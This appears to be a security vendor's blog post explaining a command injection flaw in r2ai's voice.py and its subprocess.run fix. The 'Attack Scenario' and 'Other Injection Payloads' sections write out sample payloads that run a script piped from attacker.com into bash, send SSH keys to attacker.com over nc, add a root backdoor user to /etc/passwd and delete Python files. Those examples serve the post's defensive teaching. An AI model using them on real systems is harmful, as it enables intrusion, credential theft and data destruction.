Back to Blog
critical SEVERITY7 min read

Shell Injection via os.system(): How a Single Line of Code Can Compromise Your System

A critical OS command injection vulnerability (CWE-78) was discovered and patched in `voice.py`, where user-controlled input was interpolated directly into a shell command string passed to `os.system()`. An attacker who could influence the `device` variable — through a config file, environment variable, or any external input — could execute arbitrary system commands with the full privileges of the running process. The fix replaces the dangerous `os.system()` calls with Python's `subprocess.run()

O
By Orbis AppSec
Published May 28, 2026Reviewed June 3, 2026

Answer Summary

This is an OS command injection vulnerability (CWE-78) in Python's `voice.py`, where the `device` variable — potentially attacker-controlled through a config file or environment variable — was interpolated directly into a shell command string passed to `os.system()`. The fix replaces all dangerous `os.system()` calls with `subprocess.run()` using a list-based argument form, which bypasses the shell entirely and neutralizes the injection vector. Developers should never pass user-influenced strings to `os.system()` or any shell-invoking API without strict validation and argument list separation.

Vulnerability at a Glance

cweCWE-78
fixReplaced `os.system()` with `subprocess.run()` using a list-based argument form to bypass shell interpretation
riskArbitrary system command execution with process-level privileges
languagePython
root causeUser-controlled `device` variable interpolated into a shell command string passed to `os.system()`
vulnerabilityOS Command Injection

Shell Injection via os.system(): How a Single Line of Code Can Compromise Your System

Introduction

It's one of the most deceptively simple mistakes in Python programming: passing a string built from external input directly to os.system(). It looks harmless. It works perfectly during development. And under the right conditions, it hands an attacker the keys to your entire system.

This post breaks down a critical OS command injection vulnerability (CWE-78) discovered in Attic/py/r2ai/voice.py, explains how it could be exploited, and walks through the clean, modern fix that eliminates the risk entirely.

Whether you're a seasoned systems programmer or just getting started with Python security, this is a pattern you'll want to recognize immediately.


The Vulnerability Explained

What Is OS Command Injection?

OS command injection — catalogued as CWE-78: Improper Neutralization of Special Elements used in an OS Command — occurs when an application constructs a shell command using data it doesn't fully control, then passes that string to a shell for execution.

The shell is a powerful interpreter. It understands metacharacters like ;, &&, |, $(), and backticks. If any of those characters sneak into your command string, the shell will happily execute whatever follows them — regardless of your intent.

The Vulnerable Code

Here's the code that triggered the critical finding:

# VULNERABLE - Do not use this pattern
os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")

The device variable is interpolated directly into an f-string, which is then passed as a single shell command string to os.system(). The single quotes around '{device}' might look like protection — but they're not. A single quote in the device value itself breaks out of that quoting context entirely.

How Could It Be Exploited?

The exploitability depends on where device comes from. In an AI assistant tool like r2ai, device likely originates from:

  • A configuration file read at startup
  • An environment variable
  • User input provided during setup or runtime

If an attacker can influence any of these sources, the attack is straightforward.

Attack Scenario: Malicious Configuration File

Imagine a user downloads a shared r2ai configuration file (a common workflow in AI tooling communities). That config file sets the audio device to:

' ; curl -s https://attacker.com/payload.sh | bash ; echo '

When voice.py runs, the shell receives:

ffmpeg -f avfoundation -t 5 -i '' ; curl -s https://attacker.com/payload.sh | bash ; echo '' .audiomsg.wav > /dev/null 2>&1

The shell dutifully executes three commands:
1. ffmpeg (fails harmlessly)
2. curl ... | bashdownloads and executes arbitrary code
3. echo (cleans up the command line)

The r2ai process's output looks normal. The user sees a microphone error. Meanwhile, a reverse shell or data exfiltration script runs silently in the background.

Other Injection Payloads

The attack surface is broad. Other examples of malicious device values:

# Exfiltrate SSH keys
' && cat ~/.ssh/id_rsa | nc attacker.com 4444 && echo '

# Create a backdoor user
' ; echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd ; echo '

# Ransomware-style destruction
' ; find ~ -name "*.py" -delete ; echo '

Real-World Impact

The severity here is critical because:

  • No authentication required — if the attacker controls the config file or environment, they're already in
  • Full process privileges — commands run as whatever user launched r2ai
  • Silent execution — stdout and stderr are redirected to /dev/null, hiding all evidence
  • Broad attack surface — config files, env vars, and user input are all common vectors in AI tooling

The Fix

What Changed

The fix replaces both os.system() calls with safer alternatives:

Before (vulnerable):

os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")

After (secure):

try:
    os.remove(".audiomsg.wav")
except OSError:
    pass

result = subprocess.run(
    ["ffmpeg", "-f", "avfoundation", "-t", "5", "-i", device, ".audiomsg.wav"],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL
)
rc = result.returncode

Why This Fix Works

1. Arguments as a List — No Shell Involved

The most important change is passing a list of strings to subprocess.run() instead of a single command string.

When you pass a list, Python uses execvp() (or its Windows equivalent) to launch the process directly, bypassing the shell entirely. There is no shell to interpret metacharacters. The device value is passed as a literal argument to ffmpeg — nothing more, nothing less.

# Shell IS invoked — dangerous with untrusted input
os.system(f"ffmpeg ... -i '{device}' ...")

# Shell is NOT invoked — device is just a string argument
subprocess.run(["ffmpeg", ..., "-i", device, ...])

Even if device contains ;, &&, |, or any other shell metacharacter, ffmpeg receives it as a literal filename string. Injection is impossible.

2. os.remove() Replaces os.system("rm -f ...")

The rm -f .audiomsg.wav call was also replaced with os.remove() wrapped in a try/except OSError. This is:

  • Cross-platform (works on Windows, where rm doesn't exist)
  • Shell-free (no subprocess spawned at all)
  • Pythonic (uses the standard library as intended)
  • Safe (the OSError catch handles the "file doesn't exist" case that -f previously suppressed)

3. Output Redirection Done Properly

The original code used shell redirection (> /dev/null 2>&1) to suppress ffmpeg's output. The fix uses subprocess.DEVNULL, which achieves the same result without a shell:

result = subprocess.run(
    [...],
    stdout=subprocess.DEVNULL,  # Replaces > /dev/null
    stderr=subprocess.DEVNULL   # Replaces 2>&1
)

4. Return Code Handling Preserved

The fix correctly captures the return code via result.returncode, maintaining the existing error-handling logic downstream.


Prevention & Best Practices

1. Never Use os.system() with Dynamic Input

os.system() always invokes a shell. It's essentially sh -c "<your string>". Unless your entire command string is a hardcoded literal, treat it as dangerous.

# ❌ Always risky
os.system(f"some_command {user_input}")

# ✅ Safe
subprocess.run(["some_command", user_input])

2. Prefer subprocess.run() with a List

The golden rule: pass arguments as a list, never as a string (unless you explicitly need shell features and understand the risks).

# ❌ Shell string — dangerous
subprocess.run(f"ffmpeg -i {device} output.wav", shell=True)

# ✅ Argument list — safe
subprocess.run(["ffmpeg", "-i", device, "output.wav"])

If you must use shell=True, sanitize inputs with shlex.quote():

import shlex

# Acceptable when shell=True is truly necessary
safe_device = shlex.quote(device)
subprocess.run(f"ffmpeg -i {safe_device} output.wav", shell=True)

3. Validate and Sanitize External Input

Even with subprocess.run() and argument lists, validate input that comes from external sources:

import re

def validate_device(device: str) -> str:
    # Allow only expected audio device formats (e.g., "0:0", "1:0")
    if not re.match(r'^\d+:\d+$', device):
        raise ValueError(f"Invalid device format: {device!r}")
    return device

4. Apply the Principle of Least Privilege

Processes that handle external input should run with minimal permissions. If r2ai only needs microphone access, it shouldn't run as root or with write access to sensitive directories.

5. Use Static Analysis Tools

Several tools can catch this class of vulnerability automatically:

Tool Language Notes
Bandit Python Flags os.system() and shell=True usage (B605, B607)
Semgrep Multi Highly configurable, excellent Python rules
CodeQL Multi GitHub-native, catches taint-flow injection
PyLint Python General quality, some security checks

Running Bandit on the original code would have flagged this immediately:

$ bandit voice.py
>> Issue: [B605:start_process_with_a_shell] Starting a process with a shell: True
   Severity: High   Confidence: High

6. Reference Security Standards


Conclusion

A single f-string interpolation into os.system() — a pattern that appears in thousands of Python scripts across the internet — was all it took to create a critical command injection vulnerability. The fix required fewer lines than the original code and is cleaner, more Pythonic, and cross-platform.

The key takeaways:

  1. os.system() with dynamic input is almost always wrong. Use subprocess.run() with a list.
  2. Shell quoting is not a reliable defense. Characters like ' can break out of quoted contexts.
  3. Static analysis tools like Bandit catch this instantly. Add them to your CI pipeline.
  4. The fix is simple and has zero performance cost. There's no reason not to do it right.

Security vulnerabilities in developer tooling — especially AI assistants that users trust with system access — can have outsized impact. A compromised r2ai instance could exfiltrate code, credentials, or conversation history. Taking five minutes to use subprocess.run() correctly is one of the highest-ROI security investments you can make.

Write code as if every external value is malicious. Because sometimes, it is.


This vulnerability was identified and patched by OrbisAI Security. Automated security scanning and remediation helps teams catch critical issues before they reach production.

Frequently Asked Questions

What is OS command injection?

OS command injection (CWE-78) occurs when user-controlled input is embedded into a shell command string that is executed by the operating system, allowing an attacker to append or modify the command to run arbitrary code.

How do you prevent OS command injection in Python?

Use `subprocess.run()` with a list of arguments instead of a shell command string, and never pass `shell=True` with user-controlled input. This bypasses the shell interpreter entirely, so metacharacters like `;`, `|`, and `&&` are treated as literal data.

What CWE is OS command injection?

OS command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input sanitization enough to prevent OS command injection in Python?

No. Sanitization is fragile and easy to bypass with encoding tricks or edge cases. The correct fix is architectural: use `subprocess.run()` with a list of arguments so the shell is never invoked and sanitization becomes unnecessary for command structure.

Can static analysis detect OS command injection?

Yes. Static analysis tools like Semgrep, Bandit, and Orbis AppSec can trace tainted data from its source (e.g., a config value or environment variable) to a dangerous sink like `os.system()` and flag the pattern automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #243

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.